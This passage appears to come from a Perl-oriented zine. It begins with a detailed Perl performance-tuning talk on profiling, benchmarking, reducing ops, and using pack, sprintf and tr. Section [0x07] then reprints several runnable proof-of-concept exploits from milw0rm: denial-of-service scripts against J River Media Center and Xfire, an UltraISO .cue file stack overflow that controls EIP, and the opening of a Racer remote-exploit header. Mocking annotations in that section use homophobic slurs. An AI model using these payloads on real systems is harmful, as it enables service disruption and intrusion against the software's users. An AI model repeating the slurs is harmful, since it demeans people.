915 warn sprintf("U%04X is %02X%02X and %02X%02X\n",
916 $val,$page,$ch,@{$seen{$uch}});
917 }
918 else {
919 $seen{$uch} = [$page,$ch];
920 }
921
922It uses the hash %seen to remember all the Unicode characters that it has
923processed. The first time that it meets a character it won't be in the
924hash, the exists is false, so the else block executes. It stores an
925arrayref containing the code page and character number in that page.
926That's three things per character, and there are a lot of characters in
927Chinese.
928
929If it ever sees the same Unicode character again, it prints a warning
930message. The warning message is just a string, and this is the only place
931that uses the data in %seen. So I changed the code - I pre-formatted that
932bit of the error message, and stored a single scalar rather than the
933three:
934 if (exists $seen{$uch}) {
935 warn sprintf("U%04X is %02X%02X and %04X\n",
936 $val,$page,$ch,$seen{$uch});
937 }
938 else {
939 $seen{$uch} = $page << 8 | $ch;
940 }
941
942That reduced the memory usage by a third, and it runs more quickly.
943
944Step by step
945
946How do you make things faster? Well, this is something of a black art,
947down to trial and error. I'll expand on aspects of these 4 points in the
948next slides.
949
950What might be slow?
951
952You need to find things that are actually slow. It's no good wasting your
953effort on things that are already fast - put it in where it will get
954maximum reward.
955
956Think of re-write
957
958But not all slow things can be made faster, however much you swear at
959them, so you can only actually speed things up if you can figure out
960another way of doing the same thing that may be faster.
961
962Try it
963
964But it may not. Check that it's faster and that it gives the same results.
965
966Note results
967
968Either way, note your results - I find a comment in the code is good. It's
969important if an idea didn't work, because it stops you or anyone else
970going back and trying the same thing again. And it's important if a change
971does work, as it stops someone else (such as yourself next month) tidying
972up an important optimisation and losing you that hard won speed gain.
973
974By having commented out slower code near the faster code you can look back
975and get ideas for other places you might optimise in the same way.
976
977Small easy things
978
979These are things that I would consider good practice, so you ought to be
980doing them as a matter of routine.
981
982AutoSplit and AutoLoader
983
984If you're writing modules use the AutoSplit and AutoLoader modules to make
985perl only load the parts of your module that are actually being used by a
986particular script. You get two gains - you don't waste CPU at start up
987loading the parts of your module that aren't used, and you don't waste the
988RAM holding the the structures that perl generates when it has compiled
989code. So your modules load more quickly, and use less RAM.
990
991One potential problem is that the way AutoLoader brings in subroutines
992makes debugging confusing, which can be a problem. While developing, you
993can disable AutoLoader by commenting out the __END__ statement marking the
994start of your AutoLoaded subroutines. That way, they are loaded, compiled
995and debugged in the normal fashion.
996 ...
997 1;
998 # While debugging, disable AutoLoader like this:
999 # __END__
1000 ...
1001
1002Of course, to do this you'll need another 1; at the end of the AutoLoaded
1003section to keep use happy, and possibly another __END__.
1004
1005Schwern notes that commenting out __END__ can cause surprises if the main
1006body of your module is running under use strict; because now your
1007AutoLoaded subroutines will suddenly find themselves being run under use
1008strict. This is arguably a bug in the current AutoSplit - when it runs at
1009install time to generate the files for AutoLoader to use it doesn't add
1010lines such as use strict; or use warnings; to ensure that the split out
1011subroutines are in the same environment as was current at the __END__
1012statement. This may be fixed in 5.10.
1013
1014Elizabeth Mattijsen notes that there are different memory use versus
1015memory shared issues when running under mod_perl, with different optimal
1016solutions depending on whether your apache is forking or threaded.
1017
1018=pod @ __END__
1019
1020If you are documenting your code with one big block of pod, then you
1021probably don't want to put it at the top of the file. The perl parser is
1022very fast at skipping pod, but it's not magic, so it still takes a little
1023time. Moreover, it has to read the pod from disk in order to ignore it.
1024 #!perl -w
1025 use strict;
1026 =head1 You don't want to do that
1027 big block of pod
1028 =cut
1029 ...
1030 1;
1031 __END__
1032 =head1 You want to do this
1033
1034If you put your pod after an __END__ statement then the perl parser will
1035never even see it. This will save a small amount of CPU, but if you have a
1036lot of pod (>4K) then it might also mean that the last disk block(s) of a
1037file are never even read in to RAM. This may gain you some speed. [A
1038helpful heckler observed that modern raid systems may well be reading in
103964K chunks, and modern OSes are getting good at read ahead, so not reading
1040a block as a result of =pod @ __END__ may actually be quite rare.]
1041
1042If you are putting your pod (and tests) next to their functions' code
1043(which is probably a better approach anyway) then this advice is not
1044relevant to you.
1045
1046Needless importing is slow
1047
1048Exporter is written in perl. It's fast, but not instant.
1049
1050Most modules are able to export lots of their functions and other symbols
1051into your namespace to save you typing. If you have only one argument to
1052use, such as
1053 use POSIX; # Exports all the defaults
1054
1055then POSIX will helpfully export its default list of symbols into your
1056namespace. If you have a list after the module name, then that is taken as
1057a list of symbols to export. If the list is empty, no symbols are
1058exported:
1059 use POSIX (); # Exports nothing.
1060
1061You can still use all the functions and other symbols - you just have to
1062use their full name, by typing POSIX:: at the front. Some people argue
1063that this actually makes your code clearer, as it is now obvious where
1064each subroutine is defined. Independent of that, it's faster:use POSIX;
1065use POSIX ();
10660.516s 0.355s
1067use Socket; use Socket ();
10680.270s 0.231s
1069
1070
1071POSIX exports a lot of symbols by default. If you tell it to export none,
1072it starts in 30% less time. Socket starts in 15% less time.
1073
1074regexps
1075
1076avoid $&
1077
1078The $& variable returns the last text successfully matched in any regular
1079expression. It's not lexically scoped, so unlike the match variables $1
1080etc it isn't reset when you leave a block. This means that to be correct
1081perl has to keep track of it from any match, as perl has no idea when it
1082might be needed. As it involves taking a copy of the matched string, it's
1083expensive for perl to keep track of. If you never mention $&, then perl
1084knows it can cheat and never store it. But if you (or any module) mentions
1085$& anywhere then perl has to keep track of it throughout the script, which
1086slows things down. So it's a good idea to capture the whole match
1087explicitly if that's what you need.
1088 $text =~ /.* rules/;
1089 $line = $&; # Now every match will copy $& - slow
1090 $text =~ /(.* rules)/;
1091 $line = $1; # Didn't mention $& - fast
1092
1093avoid use English;
1094
1095use English gives helpful long names to all the punctuation variables.
1096Unfortunately that includes aliasing $& to $MATCH which makes perl think
1097that it needs to copy every match into $&, even if you script never
1098actually uses it. In perl 5.8 you can say use English '-no_match_vars'; to
1099avoid mentioning the naughty "word", but this isn't available in earlier
1100versions of perl.
1101
1102avoid needless captures
1103
1104Are you using parentheses for capturing, or just for grouping? Capturing
1105involves perl copying the matched string into $1 etc, so it all you need
1106is grouping use a the non-capturing (?:...) instead of the capturing
1107(...).
1108
1109/.../o;
1110
1111If you define scalars with building blocks for your regexps, and then make
1112your final regexp by interpolating them, then your final regexp isn't
1113going to change. However, perl doesn't realise this, because it sees that
1114there are interpolated scalars each time it meets your regexp, and has no
1115idea that their contents are the same as before. If your regexp doesn't
1116change, then use the /o flag to tell perl, and it will never waste time
1117checking or recompiling it.
1118but don't blow it
1119
1120You can use the qr// operator to pre-compile your regexps. It often is the
1121easiest way to write regexp components to build up more complex regexps.
1122Using it to build your regexps once is a good idea. But don't screw up
1123(like parrot's assemble.pl did) by telling perl to recompile the same
1124regexp every time you enter a subroutine:
1125 sub foo {
1126 my $reg1 = qr/.../;
1127 my $reg2 = qr/... $reg1 .../;
1128
1129You should pull those two regexp definitions out of the subroutine into
1130package variables, or file scoped lexicals.
1131
1132Devel::DProf
1133
1134You find what is slow by using a profiler. People often guess where they
1135think their program is slow, and get it hopelessly wrong. Use a profiler.
1136
1137Devel::DProf is in the perl core from version 5.6. If you're using an
1138earlier perl you can get it from CPAN.
1139
1140You run your program with -d:DProf
1141 perl5.8.0 -d:DProf enc2xs.orig -Q -O -o /dev/null ...
1142
1143which times things and stores the data in a file named tmon.out. Then you
1144run dprofpp to process the tmon.out file, and produce meaningful summary
1145information. This excerpt is the default length and format, but you can
1146use options to change things - see the man page. It also seems to show up
1147a minor bug in dprofpp, because it manages to total things up to get 106%.
1148
1149While that's not right, it doesn't affect the explanation.
1150 Total Elapsed Time = 66.85123 Seconds
1151 User+System Time = 62.35543 Seconds
1152 Exclusive Times
1153 %Time ExclSec CumulS #Calls sec/call Csec/c Name
1154 106. 66.70 102.59 218881 0.0003 0.0005 main::enter
1155 49.5 30.86 91.767 6 5.1443 15.294 main::compile_ucm
1156 19.2 12.01 8.333 45242 0.0003 0.0002 main::encode_U
1157 4.74 2.953 1.078 45242 0.0001 0.0000 utf8::unicode_to_native
1158 4.16 2.595 0.718 45242 0.0001 0.0000 utf8::encode
1159 0.09 0.055 0.054 5 0.0109 0.0108 main::BEGIN
1160 0.01 0.008 0.008 1 0.0078 0.0078 Getopt::Std::getopts
1161 0.00 0.000 -0.000 1 0.0000 - Exporter::import
1162 0.00 0.000 -0.000 3 0.0000 - strict::bits
1163 0.00 0.000 -0.000 1 0.0000 - strict::import
1164 0.00 0.000 -0.000 2 0.0000 - strict::unimport
1165
1166At the top of the list, the subroutine enter takes about half the total
1167CPU time, with 200,000 calls, each very fast. That makes it a good
1168candidate to optimise, because all you have to do is make a slight change
1169that gives a small speedup, and that gain will be magnified 200,000 times.
1170[It turned out that enter was tail recursive, and part of the speed gain I
1171got was by making it loop instead]
1172
1173Third on the list is encode_U, which with 45,000 calls is similar, and
1174worth looking at. [Actually, it was trivial code and in the real enc2xs I
1175inlined it]
1176
1177utf8::unicode_to_native and utf8::encode are built-ins, so you won't be
1178able to change that.
1179
1180Don't bother below there, as you've accounted for 90% of total program
1181time, so even if you did a perfect job on everything else, you could only
1182make the program run 10% faster.
1183
1184compile_ucm is trickier - it's only called 6 times, so it's not obvious
1185where to look for what's slow. Maybe there's a loop with many iterations.
1186But now you're guessing, which isn't good.
1187
1188One trick is to break it into several subroutines, just for benchmarking,
1189so that DProf gives you times for different bits. That way you can see
1190where the juicy bits to optimise are.
1191
1192Devel::SmallProf should do line by line profiling, but every time I use it
1193it seems to crash.
1194
1195Benchmark
1196
1197Now you've identified the slow spots, you need to try alternative code to
1198see if you can find something faster. The Benchmark module makes this
1199easy. A particularly good subroutine is cmpthese, which takes code
1200snippets and plots a chart. cmpthese was added to Benchmark with perl 5.6.
1201
1202So to compare two code snippets orig and new by running each for 10000
1203times you'd do this:
1204 use Benchmark ':all';
1205
1206 sub orig {
1207 ...
1208 }
1209
1210 sub new {
1211 ...
1212 }
1213
1214 cmpthese (10000, { orig => \&orig, new => \&new } );
1215
1216Benchmark runs both, times them, and then prints out a helpful comparison
1217chart:
1218 Benchmark: timing 10000 iterations of new, orig...
1219 new: 1 wallclock secs ( 0.70 usr + 0.00 sys = 0.70 CPU) @
122014222.22/s (n=10000)
1221 orig: 4 wallclock secs ( 3.94 usr + 0.00 sys = 3.94 CPU) @
12222539.68/s (n=10000)
1223 Rate orig new
1224 orig 2540/s -- -82%
1225 new 14222/s 460% --
1226
1227and it's plain to see that my new code is over 4 times as fast as my
1228original code.
1229
1230What causes slowness in perl?
1231
1232Actually, I didn't tell the whole truth earlier about what causes slowness
1233in perl. [And astute hecklers such as Philip Newton had already told me
1234this]
1235
1236When perl compilers your program it breaks it down into a sequence of
1237operations it must perform, which are usually referred to as ops. So when
1238you ask perl to compute $a = $b + $c it actually breaks it down into these
1239ops:
1240Fetch $b onto the stack
1241Fetch $c onto the stack
1242Add the top two things on the stack together; write the result to the
1243stack
1244Fetch the address of $a
1245Place the thing on the top of stack into that address
1246
1247Computers are fast at simple things like addition. But there is quite a
1248lot of overhead involved in keeping track of "which op am I currently
1249performing" and "where is the next op", and this book-keeping often swamps
1250the time taken to actually run the ops. So often in perl it's the number
1251of ops your program takes to perform its task that is more important than
1252the CPU they use or the RAM it needs. The hit list is
1253Ops
1254CPU
1255RAM
1256
1257So what were my example code snippets that I Benchmarked?
1258
1259It was code to split a line of hex (54726164696e67207374796c652f6d61) into
1260groups of 4 digits (5472 6164 696e ...) , and convert each to a number
1261 sub orig {
1262 map {hex $_} $line =~ /(....)/g;
1263 }
1264 sub new {
1265 unpack "n*", pack "H*", $line;
1266 }
1267
1268The two produce the same results:
1269orig
127021618, 24932, 26990, 26400, 29556, 31084, 25903, 28001, 26990, 29793,
127126990, 24930, 26988, 26996, 31008, 26223, 29216, 29552, 25957, 25646
1272
1273new
127421618, 24932, 26990, 26400, 29556, 31084, 25903, 28001, 26990, 29793,
127526990, 24930, 26988, 26996, 31008, 26223, 29216, 29552, 25957, 25646
1276
1277
1278but the first one is much slower. Why? Following the data path from right
1279to left, it starts well with a global regexp, which is only one op and
1280therefore a fast way to generate a list of the 4 digit groups. But that
1281map block is actually an implicit loop, so for each 4 digit block it
1282iterates round and repeatedly calls hex. Thats at least one op for every
1283list item.
1284
1285Whereas the second one has no loops in it, implicit or explicit. It uses
1286one pack to convert the hex temporarily into a binary string, and then one
1287unpack to convert that string into a list of numbers. n is big endian 16
1288bit quantities. I didn't know that - I had to look it up. But when the
1289profiler told me that this part of the original code was a performance
1290bottleneck, the first think that I did was to look at the the pack docs to
1291see if I could use some sort of pack/unpack as a speedier replacement.
1292Ops are bad, m'kay
1293
1294You can ask perl to tell you the ops that it generates for particular code
1295with the Terse backend to the compiler. For example, here's a 1 liner to
1296show the ops in the original code:
1297
1298$ perl -MO=Terse -e'map {hex $_} $line =~ /(....)/g;'
1299 LISTOP (0x16d9c8) leave [1]
1300 OP (0x16d9f0) enter
1301 COP (0x16d988) nextstate
1302 LOGOP (0x16d940) mapwhile [2]
1303 LISTOP (0x16d8f8) mapstart
1304 OP (0x16d920) pushmark
1305 UNOP (0x16d968) null
1306 UNOP (0x16d7e0) null
1307 LISTOP (0x115370) scope
1308 OP (0x16bb40) null [174]
1309 UNOP (0x16d6e0) hex [1]
1310 UNOP (0x16d6c0) null [15]
1311 SVOP (0x10e6b8) gvsv GV (0xf4224) *_
1312 PMOP (0x114b28) match /(....)/
1313 UNOP (0x16d7b0) null [15]
1314 SVOP (0x16d700) gvsv GV (0x111f10) *line
1315
1316At the bottom you can see how the match /(....)/ is just one op. But the
1317next diagonal line of ops from mapwhile down to the match are all the ops
1318that make up the map. Lots of them. And they get run each time round map's
1319loop. [Note also that the {}s mean that map enters scope each time round
1320the loop. That not a trivially cheap op either]
1321
1322Whereas my replacement code looks like this:
1323
1324$ perl -MO=Terse -e'unpack "n*", pack "H*", $line;'
1325 LISTOP (0x16d818) leave [1]
1326 OP (0x16d840) enter
1327 COP (0x16bb40) nextstate
1328 LISTOP (0x16d7d0) unpack
1329 OP (0x16d7f8) null [3]
1330 SVOP (0x10e6b8) const PV (0x111f94) "n*"
1331 LISTOP (0x115370) pack [1]
1332 OP (0x16d7b0) pushmark
1333 SVOP (0x16d6c0) const PV (0x111f10) "H*"
1334 UNOP (0x16d790) null [15]
1335 SVOP (0x16d6e0) gvsv GV (0x111f34) *line
1336
1337There are less ops in total. And no loops, so all the ops you see execute
1338only once. :-)
1339
1340[My helpful hecklers pointed out that it's hard to work out what an op is.
1341Good call. There's roughly one op per symbol (function, operator, variable
1342name, and any other bit of perl syntax). So if you golf down the number of
1343functions and operators your program runs, then you'll be reducing the
1344number of ops.]
1345
1346[These were supposed to be the bonus slides. I talked to fast (quelle
1347surprise) and so manage to actually get through the lot with time for
1348questions]
1349
1350Memoize
1351
1352Caches function results
1353
1354MJD's Memoize follows the grand perl tradition by trading memory for
1355speed. You tell Memoize the name(s) of functions you'd like to speed up,
1356and it does symbol table games to transparently intercept calls to them.
1357It looks at the parameters the function was called with, and uses them to
1358decide what to do next. If it hasn't seen a particular set of parameters
1359before, it calls the original function with the parameters. However,
1360before returning the result, it stores it in a hash for that function,
1361keyed by the function's parameters. If it has seen the parameters before,
1362then it just returns the result direct from the hash, without even
1363bothering to call the function.
1364
1365For functions that only calculate
1366
1367This is useful for functions that calculate things with no side effects,
1368slow functions that you often call repeatedly with the same parameters.
1369It's not useful for functions that do things external to the program (such
1370as generating output), nor is it good for very small, fast functions.
1371
1372Can tie cache to a disk file
1373
1374The hash Memoize uses is a regular perl hash. This means that you can tie
1375the hash to a disk file. This allows Memoize to remember things across
1376runs of your program. That way, you could use Memoize in a CGI to cache
1377static content that you only generate on demand (but remember you'll need
1378file locking). The first person who requests something has to wait for the
1379generation routine, but everyone else gets it straight from the cache. You
1380can also arrange for another program to periodically expire results from
1381the cache.
1382
1383As of 5.8 Memoize module has been assimilated into the core. Users of
1384earlier perl can get it from CPAN.
1385
1386Miscellaneous
1387
1388These are quite general ideas for optimisation that aren't particularly
1389perl specific.
1390
1391Pull things out of loops
1392
1393perl's hash lookups are fast. But they aren't as fast as a lexical
1394variable. enc2xs was calling a function each time round a loop based on a
1395hash lookup using $type as the key. The value of $type didn't change, so I
1396pulled the lookup out above the loop into a lexical variable:
1397 my $type_func = $encode_types{$type};
1398
1399and doing it only once was faster.
1400
1401Experiment with number of arguments
1402
1403Something else I found was that enc2xs was calling a function which took
1404several arguments from a small number of places. The function contained
1405code to set defaults if some of the arguments were not supplied. I found
1406that the way the program ran, most of the calls passed in all the values
1407and didn't need the defaults. Changing the function to not set defaults,
1408and writing those defaults out explicitly where needed bought me a speed
1409up.
1410
1411Tail recursion
1412
1413Tail recursion is where the last thing a function does it call itself
1414again with slightly different arguments. It's a common idiom, and some
1415languages can automatically optimise it away. Perl is not one of those
1416languages. So every time a function tail recurses you have another
1417subroutine call [not cheap - Arthur Bergman notes that it is 10 pages of C
1418source, and will blow the instruction cache on a CPU] and re-entering that
1419subroutine again causes more memory to be allocated to store a new set of
1420lexical variables [also not cheap].
1421
1422perl can't spot that it could just throw away the old lexicals and re-use
1423their space, but you can, so you can save CPU and RAM by re-writing your
1424tail recursive subroutines with loops. In general, trying to reduce
1425recursion by replacing it with iterative algorithms should speed things
1426up.
1427
1428yay for y
1429
1430y, or tr, is the transliteration operator. It's not as powerful as the
1431general purpose regular expression engine, but for the things it can do it
1432is often faster.
1433
1434tr/!// # fastest way to count chars
1435
1436tr doesn't delete characters unless you use the /d flag. If you don't even
1437have any replacement characters then it treats its target as read only. In
1438scalar context it returns the number of characters that matched. It's the
1439fastest way to count the number of occurrences of single characters and
1440character ranges. (ie it's faster than counting the elements returned by
1441m/.../g in list context. But if you just want to see whether one or more
1442of a character is present use m/.../, because it will stop at the u first,
1443whereas tr/// has to go to the end)
1444
1445tr/q/Q/ faster than s/q/Q/g
1446
1447tr is also faster than the regexp engine for doing character-for-character
1448substitutions.
1449
1450tr/a-z//d faster than s/[a-z]//g
1451
1452tr is faster than the regexp engines for doing character range deletions.
1453[When writing the slide I assumed that it would be faster for single
1454character deletions, but I Benchmarked things and found that s///g was
1455faster for them. So never guess timings; always test things. You'll be
1456surprised, but that's better than being wrong]
1457Ops are bad, m'kay
1458
1459Another example lifted straight from enc2xs of something that I managed to
1460accelerate quite a bit by reducing the number of ops run. The code takes a
1461scalar, and prints out each byte as \x followed by 2 digits of hex, as
1462it's generating C source code:
1463 #foreach my $c (split(//,$out_bytes)) {
1464 # $s .= sprintf "\\x%02X",ord($c);
1465 #}
1466 # 9.5% faster changing that loop to this:
1467 $s .= sprintf +("\\x%02X" x length $out_bytes), unpack "C*",
1468$out_bytes;
1469
1470The original makes a temporary list with split [not bad in itself - ops
1471are more important than CPU or RAM] and then loops over it. Each time
1472round the loop it executes several ops, including using ord to convert the
1473byte to its numeric value, and then using sprintf with the format
1474"\\x%02X" to convert that number to the C source.
1475
1476The new code effectively merges the split and looped ord into one op,
1477using unpack's C format to generate the list of numeric values directly.
1478The more interesting (arguably sick) part is the format to sprintf, which
1479is inside +(...). You can see from the .= in the original that the code is
1480just concatenating the converted form of each byte together. So instead of
1481making sprintf convert each value in turn, only for perl ops to stick them
1482together, I use x to replicate the per-byte format string once for each
1483byte I'm about to convert. There's now one "\\x%02X" for each of the
1484numbers in the list passed from unpack to sprintf, so sprintf just does
1485what it's told. And sprintf is faster than perl ops.
1486
1487How to make perl fast enough
1488
1489use the language's fast features
1490
1491You have enormous power at your disposal with regexps, pack, unpack and
1492sprintf. So why not use them?
1493
1494All the pack and unpack code is implemented in pure C, so doesn't have any
1495of the book-keeping overhead of perl ops. sprintf too is pure C, so it's
1496fast. The regexp engine uses its own private bytecode, but it's specially
1497tuned for regexps, so it runs much faster than general perl code. And the
1498implementation of tr has less to do than the regexp engine, so it's
1499faster.
1500
1501For maximum power, remember that you can generate regexps and the formats
1502for pack, unpack and sprintf at run time, based on your data.
1503
1504give the interpreter hints
1505
1506Make it obvious to the interpreter what you're up to. Avoid $&, use
1507(?:...) when you don't need capturing, and put the /o flag on constant
1508regexps.
1509
1510less OPs
1511
1512Try to accomplish your tasks using less operations. If you find you have
1513to optimise an existing program then this is where to start - golf is
1514good, but remember it's run time strokes not source code strokes.
1515
1516less CPU
1517
1518Usually you want to find ways of using less CPU.
1519
1520less RAM
1521
1522but don't forget to think about how your data structures work to see if
1523you can make them use less RAM.
1524
1525
1526-[0x07] # His name is not a joke, but he is ------------------------------
1527
1528#!/usr/bin/perl
1529##Credit to n00b for finding this bug..^ ^
1530##########################################################################
1531##
1532#Media Center 11 d0s exploit overly long string.
1533#TiVo server plugin..Runs on port tcp :8070
1534#Also J. River UPnP Server Version 1.0.34
1535#is also afected by the same bug which is just a
1536#dos exploit.As we know the port always changes for the
1537#UPnP server so you may have to modify the proof of concept a little
1538#This exploit will deny legitimate user's from using the service
1539#We should see a error with the following msg Upon sucsessfull
1540exploitation.
1541#All 3 of the server plugin's will fail includin the library server which
1542#is set to port :80 by default.The only debug info i was able to collect
1543#at crash time is also provided with the proof of concept.
1544#As you can see from the debug info provided we canot control any memory
1545#Adresses.
1546#Shout's to aelph and every-one who has helped me over the year's.
1547##########################################################################
1548###
1549# X Microsoft Visual C ++ Runtime Library
1550#
1551# Buffer overrun detected!
1552#
1553# C:\Program Files\J River\Media Center 11\Media center.exe
1554#
1555# A Buffer overrun has been detected which has corrupted the program's
1556# internal state. The program cannot safely continue execution and must
1557# be now terminated.
1558# Bah fucking shame..
1559##########################################################################
1560####
1561#o/s info: win xp sp.2 Media Center 11.0.309 (not registered)
1562# \\ DEBUG INFO //
1563#
1564#eax=77c26ed2 ebx=00000000 ecx=77c1129c edx=00000000 esi=77f7663e
1565edi=00000003
1566#eip=7ffe0304 esp=01b7e964 ebp=01b7ea5c iopl=0 nv up ei pl nz na
1567pe nc
1568#cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000
1569efl=00000202
1570#SharedUserData!SystemCallStub+0x4:
1571#7ffe0304 c3 ret
1572##########################################################################
1573####
1574
1575print "Media Center 11.0.309 Remote d0s J River TiVo server all 3 plugin's
1576are vuln by n00b \n";
1577
1578use IO::Socket; # use warnings; use strict;
1579
1580$ip = $ARGV[0]; # my $ip = shift or die usage();
1581
1582$payload = "\x41"x5500;
1583
1584if(!$ip) # You're a dumb nut
1585{
1586
1587die "you forgot the ip dumb nut\n";
1588
1589}
1590
1591$port = '8070'; # Dumb nut
1592
1593$protocol = 'tcp'; # Dumb nut, useless variable
1594
1595
1596$socket = IO::Socket::INET->new(PeerAddr=>$ip,
1597 PeerPort=>$port,
1598 Proto=>$protocol,
1599 Timeout=>'1') || die "Make sure service is
1600running on the port\n";
1601# Make sure brain is implanted in that light blub you call head
1602
1603
1604print $socket $payload;
1605
1606close($socket); # close $socket
1607
1608# milw0rm.com [2006-09-05]
1609
1610#!/usr/bin/perl
1611#Moderator of http://igniteds.net
1612##########################################################################
1613####
1614#X fire version:new Release 1.64 <12th, 2006>
1615##########################################################################
1616####
1617# Comments removed due to high level of homosexuality
1618
1619print " 0day Xfire remote dos exploit coded by n00b Release 1.64 <12th,
16202006> \n";
1621
1622use IO::Socket; # use warnings; use strict;
1623
1624$ip = $ARGV[0]; # my $ip = shift or usage();
1625
1626# Trying to look leet now? Or did we completely forget the 'x' operator now?
1627$payload = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
1628 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
1629 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
1630 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
1631 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
1632 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
1633 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
1634 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
1635 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
1636 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
1637 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
1638 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
1639 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
1640 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
1641 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
1642 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
1643 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
1644 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
1645 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
1646 "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";
1647
1648
1649if(!$ip) # Remember perldoc
1650{
1651
1652die "remember the ip\n";
1653
1654}
1655
1656$port = '25777'; # DON'T EVER QUOTE INTEGERS AGAIN YOU USELESS PIECE OF
1657SHIT
1658
1659$protocol = 'udp'; # Stop making useless variable
1660
1661
1662$socket = IO::Socket::INET->new(PeerAddr=>$ip,
1663 PeerPort=>$port,
1664 Proto=>$protocol,
1665 Timeout=>'1') || die "Make sure service is
1666running on the port\n";
1667
1668
1669print $socket $payload;
1670
1671close($socket); # close $socket;
1672
1673print "client has died h00ha \n"; # Learn2program, then learn2perl
1674
1675# milw0rm.com [2006-10-16]
1676
1677#!/usr/bin/perl
1678############################################################
1679#Credit:To n00b for finding this bug and writing poc.
1680############################################################
1681#Ultra ISO stack over flow poc code.
1682#Ultra iso is exploitable via opening
1683#a specially crafted Cue file..There is
1684#A limitation that the user must have the bin
1685#file in the same dir as the cue file.
1686#This is the reason i have provided the
1687#Bin file also Command execution is possible
1688#As we can control $ebp and $eip hoooooha.
1689#I will be working on the local exploit
1690#as soon as i get a chance this should be a straight forward
1691#to exploit this as we already gain control of the
1692#$eip register..
1693#Tested on :win xp service pack 2
1694#Vendor's web site: http://www.ezbsystems.com/ultraiso
1695# Version affected: UltraISO 8.6.2.2011
1696############################################################
1697#Debug info as follows.
1698#########################################
1699#Program received signal SIGSEGV, Segmentation fault.
1700#[Switching to thread 1696.0x6d0]
1701#0x41414141 in ?? ()
1702############################################################
1703#(gdb) i r
1704#eax 0x0 0
1705#ecx 0x7ce2fc 8184572
1706#edx 0x1 1
1707#ebx 0xfe6468 16671848
1708#esp 0x13ecf8 0x13ecf8
1709#ebp 0x41414141 0x41414141
1710#esi 0x0 0
1711#edi 0x13fa18 1309208
1712#eip 0x41414141 0x41414141
1713#eflags 0x10246 66118
1714#cs 0x1b 27
1715#ss 0x23 35
1716#ds 0x23 35
1717#es 0x23 35
1718#fs 0x3b 59
1719#gs 0x0 0
1720#fctrl 0xffff1273 -60813
1721#fstat 0xffff0000 -65536
1722#ftag 0xffffffff -1
1723#fiseg 0x0 0
1724#fioff 0x0 0
1725#foseg 0xffff0000 -65536
1726#fooff 0x0 0
1727#---Type <return> to continue, or q <return> to quit---
1728#fop 0x0 0
1729#(gdb)
1730############################################################
1731
1732print
1733"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
1734print "0day Ultra-Iso 8.6.2.2011 stack over flow poc \n";
1735print "Credits to n00b for finding the bug and writing poc\n";
1736print "I will be writing a local exploit for this in a few days\n";
1737print "Shouts: - Str0ke - Marsu - SM - Aelphaeis - vade79 - c0ntex\n";
1738print
1739"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
1740
1741my $CUEFILE="1.cue"; #Do not edit this # How come? Why not?
1742
1743my $BINFILE="1.bin"; #Do not edit this # How come? Why not?
1744
1745my $header= "\x46\x49\x4c\x45\x20\x22";
1746
1747my $endheader=
1748"\x2e\x42\x49\x4e\x22\x20\x42\x49\x4e\x41\x52\x59\x0d\x0a\x20".
1749"\x54\x52\x41\x43\x4b\x20\x30\x31\x20\x4d\x4f\x44\x45\x31\x2f\x32".
1750"\x33\x35\x32\x0d\x0a\x20\x20\x20\x49\x4e\x44\x45\x58\x20\x30\x31".
1751 "\x20\x30\x30\x3a\x30\x30\x3a\x30\x30";
1752
1753open(CUE, ">$CUEFILE") or die "ERROR:$CUEFILE\n";
1754# you started off good using lexical variables, why stop now?
1755
1756open(BIN, ">$BINFILE") or die "ERROR:$BINFILE\n";
1757# YES! File handles are VARIABLES
1758
1759print CUE $header;
1760
1761for ($i = 0; $i < 1024; $i++) { #Fill our buffer
1762# GAY c-style loop, totally unnecessary
1763$buffer.= "\x41"; #For easy of debugging
1764# It's official you forgot about the 'x' operator
1765}
1766print CUE $buffer;
1767
1768for ($i = 0; $i < 100; $i++) { #Fill our buffer # :(
1769$buffer2.= "\x90"; #Fill our bin file with nops..Why not pmsl.
1770}
1771print BIN $buffer2;
1772
1773print CUE $endheader;
1774
1775close(CUE,BIN); # :(
1776
1777sleep(5); # :(
1778
1779print
1780"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
1781# print <<'GAYMESSAGE'
1782print "Files have been created success-fully\n";
1783 # Multiline, quotefree
1784print "Please note you will have to have both 1.cue and 1.bin in the same
1785dir\n"; # uselessness here
1786print "To be able to reproduce the bug open the 1.cue file with
1787ultra~iso\n"; # end with
1788print
1789"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
1790# GAYMESSAGE
1791
1792# milw0rm.com [2007-05-24]
1793
1794#!/usr/bin/perl
1795###Credit's to n00b.
1796################################################
1797#Racer v0.5.3 beta 5 (12-03-07) remote exploit.
1798#Racer is also prone to a buffer over flow in the
1799#server and client.Automatically the game open's
1800#Udp port 26000 and is waiting for a msg buffer.
1801#If we send an overly long buffer we are able to
1802#Control the eip register and esp hold's enough
1803#buffer to have a good size shell code.
1804###############################################
